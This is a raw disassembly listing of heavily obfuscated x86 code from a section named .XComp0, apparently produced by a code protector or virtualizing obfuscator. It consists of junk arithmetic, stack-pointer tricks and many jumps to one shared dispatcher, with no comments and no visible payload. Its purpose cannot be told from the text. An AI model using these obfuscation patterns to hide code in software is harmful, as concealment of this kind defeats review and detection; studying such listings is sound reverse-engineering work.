loc_57891A:				; CODE XREF: .XComp0:00581A6Ej
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5808C9
; ---------------------------------------------------------------------------


loc_578931:				; CODE XREF: .XComp0:0057AE7Fj
		add	dword ptr [esp], 4
		jmp	loc_575DB2
; ---------------------------------------------------------------------------


loc_57893D:				; CODE XREF: .XComp0:00579C90j
		add	esi, 67C55452h
		sub	esi, ebp
		jmp	loc_57E4AF
; ---------------------------------------------------------------------------


loc_57894A:				; CODE XREF: .XComp0:0057616Cj
		mov	[esp], edx
		mov	edx, 4DD24E83h
		add	esi, edx
		jmp	loc_576FE7
; ---------------------------------------------------------------------------


loc_578959:				; CODE XREF: .XComp0:0057A9C7j
		xor	edi, 43FC624Bh
		inc	edi
		and	edi, 58814DA9h
		dec	edi
		add	edi, 12CBCACDh
		sub	ecx, 43041B40h
		add	ecx, edi
		add	ecx, 43041B40h
		mov	edi, [esp]
		jmp	loc_57A926
; ---------------------------------------------------------------------------


loc_578983:				; CODE XREF: .XComp0:0057419Dj
		add	bh, 0E5h
		jmp	loc_5737AB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	78D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_57E523
; ---------------------------------------------------------------------------


loc_5789BA:				; CODE XREF: .XComp0:0057CE6Bj
		mov	esi, 47F35930h
		jmp	loc_57CD1B
; ---------------------------------------------------------------------------


loc_5789C4:				; CODE XREF: .XComp0:00574FF8j
		mov	ebp, ebx
		pop	ebx
		not	ebp
		or	ebp, 66A50E78h
		jmp	loc_580602
; ---------------------------------------------------------------------------


loc_5789D4:				; CODE XREF: .XComp0:0057B9FBj
		add	eax, 5D876820h
		pop	ebx
		jmp	loc_57875F
; ---------------------------------------------------------------------------


loc_5789DF:				; CODE XREF: .XComp0:00576716j
		add	eax, 21C52E4Dh
		add	eax, ebx
		sub	eax, 21C52E4Dh
		jmp	loc_57F35B
; ---------------------------------------------------------------------------


loc_5789F0:				; CODE XREF: .XComp0:00576A26j
		or	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5789FA:				; CODE XREF: .XComp0:0057EF5Aj
		add	eax, 1360Ah
		mov	ebx, eax
		pop	eax
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 2
		jmp	loc_578EEC
; ---------------------------------------------------------------------------


loc_578A2D:				; CODE XREF: .XComp0:00581E6Cj
		mov	ecx, 743D1F6Eh
		or	esi, ecx
		jmp	loc_57A9D9
; ---------------------------------------------------------------------------


loc_578A39:				; CODE XREF: .XComp0:0057FF6Fj
		add	esp, 4
		push	cx
		mov	cl, 0CCh
		add	bl, cl
		pop	cx
		add	bl, al
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_574401
; ---------------------------------------------------------------------------


loc_578A54:				; CODE XREF: .XComp0:0057ACECj
		push	edx
		push	ecx
		jmp	loc_574D8D
; ---------------------------------------------------------------------------


loc_578A5B:				; CODE XREF: .XComp0:0057F7D8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	ecx
		push	eax
		mov	eax, ebx
		jmp	loc_5743F6
; ---------------------------------------------------------------------------


loc_578A76:				; CODE XREF: .XComp0:0057A3EBj
		pop	edx
		xor	dh, 0Fh
		add	al, dh
		jmp	loc_57BCE5
; ---------------------------------------------------------------------------


loc_578A81:				; CODE XREF: .XComp0:0057C256j
		add	esi, 67CD0D3Dh
		add	esi, ebp
		sub	esi, 67CD0D3Dh
		pop	ebp
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578AA3:				; CODE XREF: .XComp0:00579835j
		push	eax
		pop	esi
		jmp	loc_573F9F
; ---------------------------------------------------------------------------


loc_578AAA:				; CODE XREF: .XComp0:0057C852j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578AB9:				; CODE XREF: .XComp0:0057FABAj
		push	5C50419Fh
		pop	esi
		shr	esi, 7
		push	esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 144A0A22h
		mov	ebp, esi
		pop	esi
		neg	ebp
		dec	ebp
		inc	ebp
		add	ebp, 7393CBC9h
		sub	eax, 8BD6C8Dh
		add	eax, ebp
		add	eax, 8BD6C8Dh
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, edi
		push	ebp
		mov	ebp, 61A17DACh
		jmp	loc_57677A
; ---------------------------------------------------------------------------


loc_578B09:				; CODE XREF: .XComp0:00576B8Fj
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 1FCF03C3h
		dec	edx
		jmp	loc_576B33
; ---------------------------------------------------------------------------


loc_578B2A:				; CODE XREF: .XComp0:00573870j
		sub	ebp, esi
		pop	esi
		sub	ebp, 3C316045h
		pop	eax
		add	ebp, 4
		jmp	loc_5735D6
; ---------------------------------------------------------------------------


loc_578B3C:				; CODE XREF: .XComp0:0057A35Aj
		pop	eax
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4


loc_578B48:				; CODE XREF: .XComp0:00579526j
		push	ecx
		mov	ecx, eax
		jmp	loc_57C754
; ---------------------------------------------------------------------------


loc_578B50:				; CODE XREF: .XComp0:0058119Bj
		push	ebx
		mov	ebx, 37341Bh
		inc	ebx
		push	ebp
		jmp	loc_57FB80
; ---------------------------------------------------------------------------


loc_578B5D:				; CODE XREF: .XComp0:00578EE7j
		not	ebx
		push	eax
		push	ebx
		pop	eax
		jmp	loc_57435D
; ---------------------------------------------------------------------------


loc_578B67:				; CODE XREF: .XComp0:0057BAB1j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		sub	edi, 23BA708Ah
		add	edi, ebp
		add	edi, 23BA708Ah
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, edx
		push	5132h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_576C6D
; ---------------------------------------------------------------------------


loc_578BA6:				; CODE XREF: .XComp0:005739B4j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_581E5D
; ---------------------------------------------------------------------------


loc_578BBD:				; CODE XREF: .XComp0:0057AE8Ej
		xor	esi, 0B907DAEh
		shl	esi, 6
		jmp	loc_57B665
; ---------------------------------------------------------------------------


loc_578BCB:				; CODE XREF: .XComp0:00582E5Bj
		push	177Bh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	edi
		jmp	loc_575265
; ---------------------------------------------------------------------------


loc_578BDD:				; CODE XREF: .XComp0:00580B9Fj
		inc	ebx
		sub	ebx, 0F8B6C61Eh
		or	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 666767FEh
		xor	edx, 3DE955F5h
		push	ebp
		mov	ebp, 71C952A2h
		jmp	loc_57C287
; ---------------------------------------------------------------------------


loc_578BFE:				; CODE XREF: .XComp0:00578479j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	dl, 0A2h
		sub	dl, 0
		sub	bl, dl
		jmp	loc_580E35
; ---------------------------------------------------------------------------


loc_578C1E:				; CODE XREF: .XComp0:005783A4j
		sub	eax, ebp
		sub	eax, 0D9328DBh
		xchg	eax, ebp
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4D95E7Eh
		or	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	ebp, 1
		sub	ebp, 7FEDEFFBh
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_5784EC
; ---------------------------------------------------------------------------


loc_578C5D:				; CODE XREF: .XComp0:0057863Ej
		push	25ABh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5802B7
; ---------------------------------------------------------------------------


loc_578C7B:				; CODE XREF: .XComp0:005819B4j
		pop	esp
		jmp	loc_581F4D
; ---------------------------------------------------------------------------


loc_578C81:				; CODE XREF: .XComp0:0057A3C5j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57F3D0
; ---------------------------------------------------------------------------


loc_578C8C:				; CODE XREF: .XComp0:005812DFj
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_578317
; ---------------------------------------------------------------------------


loc_578CA5:				; CODE XREF: .XComp0:00582CE2j
		xor	ebp, 53AF16B6h
		sub	ebp, 1
		or	ebp, 138C1B2Dh
		and	ebp, 0F770181h
		xor	ebp, 31CD6ABh
		jmp	loc_573A59
; ---------------------------------------------------------------------------


loc_578CC8:				; CODE XREF: .XComp0:00579E1Dj
		and	ebx, 1B806E9h
		jmp	loc_5761B1
; ---------------------------------------------------------------------------


loc_578CD3:				; CODE XREF: .XComp0:00580904j
		xor	ebp, [esp]
		jmp	loc_57662C
; ---------------------------------------------------------------------------


loc_578CDB:				; CODE XREF: .XComp0:00580C0Fj
		mov	esi, eax
		pop	eax
		neg	esi
		xor	esi, 7F7D7BFEh
		shr	esi, 1
		xor	esi, 7CE8DFA7h
		jmp	loc_5784F1
; ---------------------------------------------------------------------------


loc_578CF3:				; CODE XREF: .XComp0:0057E3AAj
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		push	esi
		mov	esi, 52DEA4A4h
		sub	edx, esi
		pop	esi
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_577B0C
; ---------------------------------------------------------------------------


loc_578D15:				; CODE XREF: .XComp0:00581314j
		mov	edx, 35E6C4FDh
		sub	esi, edx
		jmp	loc_5784E3
; ---------------------------------------------------------------------------


loc_578D21:				; CODE XREF: .XComp0:00581345j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	eax
		push	esi
		push	edi
		mov	edi, 0C2A7FCCh
		mov	esi, edi
		jmp	loc_57FFED
; ---------------------------------------------------------------------------


loc_578D41:				; CODE XREF: .XComp0:0058266Aj
		push	esp
		pop	dword ptr [esp]
		jmp	loc_57F094
; ---------------------------------------------------------------------------


loc_578D4A:				; CODE XREF: .XComp0:0057EB94j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	esp
		jmp	loc_576A2B
; ---------------------------------------------------------------------------


loc_578D66:				; CODE XREF: .XComp0:005830DFj
		mov	esi, 5F8B1B3Ah
		jmp	loc_579AAB
; ---------------------------------------------------------------------------


loc_578D70:				; CODE XREF: .XComp0:0057A716j
		sub	edi, 0DD34B707h
		push	eax
		push	ebx
		mov	ebx, 7E2B1212h
		jmp	loc_57C0CE
; ---------------------------------------------------------------------------


loc_578D82:				; CODE XREF: .XComp0:0057A618j
		mov	ebp, 4
		push	ecx
		mov	ecx, ebp
		mov	ebx, ecx
		pop	ecx
		pop	ebp
		mov	ecx, ebx
		jmp	loc_57E222
; ---------------------------------------------------------------------------


loc_578D95:				; CODE XREF: .XComp0:00578692j
		mov	esi, [esp]
		push	70B5h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_577E98
; ---------------------------------------------------------------------------


loc_578DA7:				; CODE XREF: .XComp0:00582B7Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0E3E99D16h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5771DD
; ---------------------------------------------------------------------------


loc_578DBC:				; CODE XREF: .XComp0:0057A823j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1D63h
		mov	[esp], esi
		push	eax
		jmp	loc_57FE97
; ---------------------------------------------------------------------------


loc_578DD4:				; CODE XREF: .XComp0:0057A46Dj
		push	ebx
		mov	ebx, 17B31C4Bh
		mov	ecx, ebx
		pop	ebx
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	ecx, 0E84CE3B2h
		sub	ebx, 153627EEh
		add	ebx, ecx
		add	ebx, 153627EEh
		jmp	loc_576580
; ---------------------------------------------------------------------------


loc_578DFC:				; CODE XREF: .XComp0:0057A82Ej
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_58340C
; ---------------------------------------------------------------------------


loc_578E12:				; CODE XREF: .XComp0:00579939j
		mov	esi, esp
		push	74E0h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_582E13
; ---------------------------------------------------------------------------


loc_578E28:				; CODE XREF: .XComp0:00574532j
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3BE26AC3h
		not	eax
		jmp	loc_57C093
; ---------------------------------------------------------------------------


loc_578E3F:				; CODE XREF: .XComp0:00581B04j
		push	esi
		mov	esi, 63422C98h
		xor	esi, 56DD3A44h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5E080565h
		xor	esi, edi
		pop	edi
		xor	esi, 6B9713BDh
		jmp	loc_57CEDE
; ---------------------------------------------------------------------------


loc_578E64:				; CODE XREF: .XComp0:005769ADj
		xchg	ebx, edi
		dec	ebx
		xchg	ebx, edi
		xor	edi, 1CF31EF0h
		and	edi, 56C21A68h
		add	edi, 762182D2h
		sub	esi, edi
		pop	edi
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5826C3
; ---------------------------------------------------------------------------


loc_578EA5:				; CODE XREF: .XComp0:00581F60j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57C4B8
; ---------------------------------------------------------------------------


loc_578EB3:				; CODE XREF: .XComp0:00576B2Ej
		shr	cl, 7
		jmp	loc_57ECBA
; ---------------------------------------------------------------------------


loc_578EBB:				; CODE XREF: .XComp0:00581AB4j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_576B4C
; ---------------------------------------------------------------------------


loc_578EC7:				; CODE XREF: .XComp0:0057C890j
		pop	esp
		xchg	edi, [esp]
		jmp	loc_57B614
; ---------------------------------------------------------------------------


loc_578ED0:				; CODE XREF: .XComp0:00577FA1j
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 79E121E8h
		jmp	loc_580AC5
; ---------------------------------------------------------------------------


loc_578EDE:				; CODE XREF: .XComp0:005743A2j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_578B5D
; ---------------------------------------------------------------------------


loc_578EEC:				; CODE XREF: .XComp0:00578A28j
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578EFE:				; CODE XREF: .XComp0:0057FD10j
		mov	edx, 2
		push	esi
		push	eax
		jmp	loc_5835FD
; ---------------------------------------------------------------------------


loc_578F0A:				; CODE XREF: .XComp0:0057BE5Fj
		mov	ch, 0B2h
		jmp	loc_576DB0
; ---------------------------------------------------------------------------


loc_578F11:				; CODE XREF: .XComp0:0057B621j
		sub	bh, 0F5h
		sub	bh, 0E8h
		add	bh, dl
		add	bh, 0E8h
		add	bh, 0F5h
		jmp	loc_575DFD
; ---------------------------------------------------------------------------


loc_578F24:				; CODE XREF: .XComp0:00577577j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57D5F6
; ---------------------------------------------------------------------------


loc_578F34:				; CODE XREF: .XComp0:00575FE8j
		add	bh, 0D1h
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_577541
; ---------------------------------------------------------------------------


loc_578F46:				; CODE XREF: .XComp0:0057C497j
		mov	al, 0E2h
		neg	al
		not	al
		add	al, 3Bh
		jmp	loc_579491
; ---------------------------------------------------------------------------


loc_578F53:				; CODE XREF: .XComp0:005808A8j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	eax, ebx
		push	ebp
		push	edi
		mov	edi, 58314DFBh
		mov	ebp, 7D44811Fh
		sub	ebp, edi
		pop	edi
		jmp	loc_582590
; ---------------------------------------------------------------------------


loc_578F70:				; CODE XREF: .XComp0:0057FB7Bj
		or	edi, 3EED6BC4h
		add	edi, 73A861B3h
		xor	edi, 0F933D6D7h
		or	esi, edi
		pop	edi
		not	esi
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		push	ebp
		mov	ebp, 40F3374Ah
		not	ebp
		sub	ebp, 3A0C0099h
		xor	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	ecx, [esp]
		jmp	loc_5829AF
; ---------------------------------------------------------------------------


loc_578FB5:				; CODE XREF: .XComp0:00576572j
		add	edx, 4EC65861h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		idiv	cx
		jmp	loc_573B34
; ---------------------------------------------------------------------------


loc_578FD0:				; CODE XREF: .XComp0:0057C184j
		mov	[esp], ebp
		push	ebx
		push	70BF568Ch
		mov	ebx, [esp]
		add	esp, 4
		push	0
		sub	[esp], ebx
		pop	ebx
		jmp	loc_579C62
; ---------------------------------------------------------------------------


loc_578FED:				; CODE XREF: .XComp0:005763ABj
		pop	esp
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_578FF3:				; CODE XREF: .XComp0:00579F10j
		pop	eax
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_57C89C
; ---------------------------------------------------------------------------


loc_579005:				; CODE XREF: .XComp0:00580FDBj
		xor	esi, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_5781EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_579014:				; CODE XREF: sub_5A47B5-2713Cj
		add	esp, 2
		add	al, bl
		push	ecx
		jmp	loc_573A28
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_577EBC
; ---------------------------------------------------------------------------


loc_57902A:				; CODE XREF: .XComp0:0057D782j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_57E454
; ---------------------------------------------------------------------------


loc_57903D:				; CODE XREF: .XComp0:005739DAj
		add	dx, 5D7Bh
		pop	cx
		xor	bx, dx
		mov	edx, [esp]
		add	esp, 4
		add	ax, bx
		jmp	loc_57BF3F
; ---------------------------------------------------------------------------


loc_579058:				; CODE XREF: .XComp0:0057A7FEj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_57605E
; ---------------------------------------------------------------------------


loc_57906F:				; CODE XREF: .XComp0:00580B35j
		pop	ebp
		jmp	loc_5829C5
; ---------------------------------------------------------------------------


loc_579075:				; CODE XREF: .XComp0:0057704Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579084:				; CODE XREF: .XComp0:0057BBFDj
		pop	ebx
		and	ecx, edx
		pop	edx
		shr	ecx, 2
		push	42A4h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5820B9
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	39B8h
		mov	[esp], edx
		push	bx
		mov	bl, 0BDh
		mov	dh, bl
		pop	bx
		xor	al, dh
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_57E602
; ---------------------------------------------------------------------------


loc_5790C6:				; CODE XREF: .XComp0:00577504j
		not	ebx
		xor	ebx, 712ECA74h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		add	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_579EFE
; ---------------------------------------------------------------------------


loc_5790E2:				; CODE XREF: .XComp0:0058008Fj
		neg	edx
		add	edx, 2D73FB39h
		sub	eax, 0B2A78A5h
		sub	eax, 580A23C0h
		sub	eax, edx
		push	ebx
		mov	ebx, 27C800DCh
		not	ebx
		add	ebx, 3F4B72A2h
		sub	ebx, 0BF794E05h
		sub	eax, 0EE25497h
		add	eax, 2D5576h
		add	eax, ebx
		sub	eax, 2D5576h
		jmp	loc_57E123
; ---------------------------------------------------------------------------


loc_579120:				; CODE XREF: .XComp0:00573F43j
		push	edi
		push	ebp
		jmp	loc_577C7D
; ---------------------------------------------------------------------------


loc_579127:				; CODE XREF: .XComp0:0057C86Ej
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_57718C
; ---------------------------------------------------------------------------


loc_579130:				; CODE XREF: .XComp0:0057A4D0j
		mov	[esp], eax
		mov	ah, bh
		mov	[edx], ah
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_57F868
; ---------------------------------------------------------------------------


loc_579168:				; CODE XREF: .XComp0:00573C41j
		mov	ch, bh
		pop	ebx
		pop	eax
		push	dx
		push	ecx
		jmp	loc_582857
; ---------------------------------------------------------------------------


loc_579174:				; CODE XREF: .XComp0:00581BACj
		dec	edx
		xor	edx, 7B2F7388h
		shr	edx, 4
		or	edx, 0D431FCCh
		xor	edx, 2644E8A5h
		xor	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 574E122Ch
		inc	ebx
		xor	ebx, 34576BA9h
		jmp	loc_582CE7
; ---------------------------------------------------------------------------


loc_57919F:				; CODE XREF: .XComp0:00582B08j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57B95C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4FEEh
		jmp	loc_575537
; ---------------------------------------------------------------------------


loc_5791B6:				; CODE XREF: .XComp0:0057EBB7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57F083
; ---------------------------------------------------------------------------


loc_5791C5:				; CODE XREF: .XComp0:005775EFj
		sub	dh, 0A5h
		sub	al, dh
		pop	edx
		push	ecx
		mov	cl, 83h
		jmp	loc_57FAD2
; ---------------------------------------------------------------------------


loc_5791D3:				; CODE XREF: .XComp0:005759E2j
		neg	esi
		sub	esi, 4C15D6D6h
		sub	ebp, esi
		pop	esi
		sub	ebp, 1B311525h
		add	ebp, esi
		add	ebp, 1B311525h
		add	ebp, 1B475DF6h
		mov	esi, [esp]
		jmp	loc_581490
; ---------------------------------------------------------------------------


loc_5791FA:				; CODE XREF: .XComp0:0057DC84j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	eax, 38E97A57h
		push	ecx
		jmp	loc_5792F5
; ---------------------------------------------------------------------------


loc_579211:				; CODE XREF: .XComp0:005835DCj
		add	esp, 4
		jmp	loc_576D67
; ---------------------------------------------------------------------------


loc_57921C:				; CODE XREF: .XComp0:0057D85Bj
		xor	al, bh
		jmp	loc_573850
; ---------------------------------------------------------------------------


loc_579223:				; CODE XREF: .XComp0:00579A05j
		mov	ebx, ecx
		pop	ecx
		and	[edi+1Ch], ebx
		jmp	loc_57AC3D
; ---------------------------------------------------------------------------


loc_57922E:				; CODE XREF: .XComp0:0057BA50j
		shr	al, 7
		sub	al, 68h
		jmp	loc_57E7B7
; ---------------------------------------------------------------------------


loc_579238:				; CODE XREF: .XComp0:0057B730j
		push	edi
		mov	edi, 3BAD5A6Dh
		sub	ebx, edi
		pop	edi
		add	ebx, eax
		add	ebx, 3BAD5A6Dh
		pop	eax
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_575C45
; ---------------------------------------------------------------------------


loc_579255:				; CODE XREF: .XComp0:00575EEBj
		push	eax
		mov	eax, 76C75CEEh
		or	ecx, eax
		pop	eax
		shr	ecx, 3
		add	ecx, 210B4E4Ch
		add	ecx, 0F96E971h
		add	ebx, 235A36E0h
		add	ebx, 58182E0Eh
		add	ebx, ecx
		push	edx
		mov	edx, 58182E0Eh
		jmp	loc_577C17
; ---------------------------------------------------------------------------


loc_579286:				; CODE XREF: .XComp0:0057C897j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_579B04
; ---------------------------------------------------------------------------


loc_579297:				; CODE XREF: .XComp0:0057B206j
		push	ebp
		push	edx
		mov	edx, 1B017165h
		mov	ebp, 0D081C36Ah
		xor	ebp, edx
		jmp	loc_57E412
; ---------------------------------------------------------------------------


loc_5792AA:				; CODE XREF: .XComp0:0057A485j
		push	edi
		add	dword ptr [esp], 3277298Eh
		pop	eax
		push	esi
		jmp	loc_57C6A0
; ---------------------------------------------------------------------------


loc_5792B9:				; CODE XREF: .XComp0:0057AC38j
		sub	ebx, 5301F1Bh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_582846
; ---------------------------------------------------------------------------


loc_5792C7:				; CODE XREF: .XComp0:005836F1j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5792E6:				; CODE XREF: .XComp0:00582FF2j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5792EB:				; CODE XREF: .XComp0:005741D4j
		mov	edx, 70FA226Ch
		jmp	loc_57A507
; ---------------------------------------------------------------------------


loc_5792F5:				; CODE XREF: .XComp0:0057920Cj
		mov	ecx, esp
		push	ebx
		mov	ebx, 3AC90A55h
		neg	ebx
		dec	ebx
		add	ebx, 39703081h
		push	eax
		mov	eax, 241A2620h
		and	eax, 3B1107F6h
		or	eax, 19C47DCh
		sub	eax, 0F302048Dh
		or	ebx, eax
		jmp	loc_581A8A
; ---------------------------------------------------------------------------


loc_579322:				; CODE XREF: .XComp0:00581F78j
		mov	[esp], esp
		jmp	loc_57DA1E
; ---------------------------------------------------------------------------


loc_57932A:				; CODE XREF: .XComp0:00581E9Ej
		push	ecx
		mov	cl, 0C9h
		jmp	loc_57EAA4
; ---------------------------------------------------------------------------


loc_579332:				; CODE XREF: .XComp0:0057380Dj
		cmp	ecx, eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57933A:				; CODE XREF: .XComp0:00576374j
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 792E4F35h
		push	eax
		mov	eax, 96F3651Dh
		jmp	loc_575A1F
; ---------------------------------------------------------------------------


loc_579355:				; CODE XREF: .XComp0:0057F826j
		sub	ebp, edi
		pop	edi
		add	ebp, 3B22145Ch
		jmp	loc_5763E6
; ---------------------------------------------------------------------------


loc_579363:				; CODE XREF: .XComp0:00579C53j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57CC6A
; ---------------------------------------------------------------------------


loc_579372:				; CODE XREF: .XComp0:005738AAj
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	0DB1h
		jmp	loc_5756F7
; ---------------------------------------------------------------------------


loc_579381:				; CODE XREF: .XComp0:00580D3Bj
		add	al, 6Eh
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_582738
; ---------------------------------------------------------------------------


loc_57939A:				; CODE XREF: .XComp0:005784CBj
		add	al, bl
		add	al, 1Fh
		push	esi
		jmp	loc_582ACA
; ---------------------------------------------------------------------------


loc_5793A4:				; CODE XREF: .XComp0:0057686Ej
		mov	ebp, edi
		jmp	loc_579B17
; ---------------------------------------------------------------------------


loc_5793AB:				; CODE XREF: .XComp0:00582D9Cj
		mov	edx, 37EF67D7h
		push	ebx
		mov	ebx, 745B24EAh
		xor	edx, ebx
		jmp	loc_58286E
; ---------------------------------------------------------------------------


loc_5793BD:				; CODE XREF: .XComp0:00580C05j
		pop	eax
		jmp	loc_57E855
; ---------------------------------------------------------------------------


loc_5793C3:				; CODE XREF: .XComp0:00580024j
		push	edi
		mov	edi, 4
		mov	esi, edi
		jmp	loc_57C7A0
; ---------------------------------------------------------------------------


loc_5793D0:				; CODE XREF: .XComp0:0057F39Ej
		xor	ebp, [esp]
		jmp	loc_57BFC9
; ---------------------------------------------------------------------------


loc_5793D8:				; CODE XREF: .XComp0:0057DAFAj
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5752BD
